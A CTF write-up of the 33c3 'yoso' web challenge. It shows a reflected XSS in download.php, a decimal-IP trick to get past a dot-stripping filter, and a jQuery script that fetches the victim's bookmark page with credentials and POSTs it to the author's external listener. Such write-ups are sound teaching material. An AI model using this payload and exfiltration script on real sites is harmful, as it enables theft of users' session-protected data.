33c3 CTF just finished. And here’s the writeup for the highest point value challenge I could get. It wasn’t too complicated and as echoed by some of my team mates, I think the point values were a little unbalanced for this CTF. Nonetheless, the challenges were difficult and exciting. Thanks to the 33c3 CTF Team for hosting another great CTF.

yoso - 250
Solves:38

You only live once, so why search twice?

(admins love to search for flags btw)

Part 1 - Recon - VoteForMe XSS

Starting with the pretty home page. We have a lot of links here.

recon1

After logging in, we can now ‘research’ things. I.e. search things and then have them saved to our bookmarks. Nothing interesting.

recon2

Bookmarks lets you view your bookmarks. You can also backup your bookmarks into a zip with a password.

recon3

The download.php page (where the backup function leads) has some interesting reflected variables. This is our XSS vector for later

recon4

And we have our XSS contact form which asks for interesting links.

recon5


Part 2 - Exploitation - One stop XSS

We could obviously send the bot a link to our page, but that wouldn’t help us exfil information, since we’d be bashing our heads against SOP (Same Origin Policy), and DNS rebinding to bypass SOP is not fun. So we need to find some XSS on the website so we can exfil whatever the contents on the bookmarks page is. (as per the hint).

Download.php

Standard testing XSS. from our reflected download.php page. Looks like we’re cooking with fire

pwn1

Unfortunately, if we try a URL, it seems to strip all dots from our input.

pwn2

The workaround is to use a decimal IP address with no dots. Also, given that <script> will try and execute whatever it is as javascript, we dont need to worry about file extension.

so with some payload like http://78.46.224.80:1337/download.php?zip=admin/%3Cscript%20src=%22http://134744072/yjs%22%3E%3C/script%3E (with an obviously changed IP address to not mine)

Now we have an XSS page, we need some scripts. Since this page is barebones, there’s no jQuery, and all my scripts are lazy and use jQuery… so I cheated and pasted jQuery.min at the top of the file. (don’t hurt me please, their ajax is nice).

<snipped jquery.min for sanity>
$.ajax({ method:"GET",
    xhrFields: {
            withCredentials: true
    },
    url:'http://78.46.224.80:1337/bookmark.php',
    success: function(resp) {
        console.log('success');
        console.log(resp);
        $.ajax({
            method:"POST",
            url:'http://v.mewy.pw:4200/post?woohoo',
            data:{
                success: resp
            }
        });
    },
    error: function(data) {
        console.log('fail');
        console.log(data);
    }
});

Have your listener server running. and…

pwn3

Flags on the page. Woohoo!

Flag:33C3_lol_wHo_needs_scr1pts_anyway

Notes:

At first I thought it was a bit more complicated, where you had to exfil the bookmarks zip. This would’ve been a lot harder since you would have had to XSS to get the CSRF token then use that to post and create a new bookmark zip. Thankfully the result was on the page already saving me some braincells.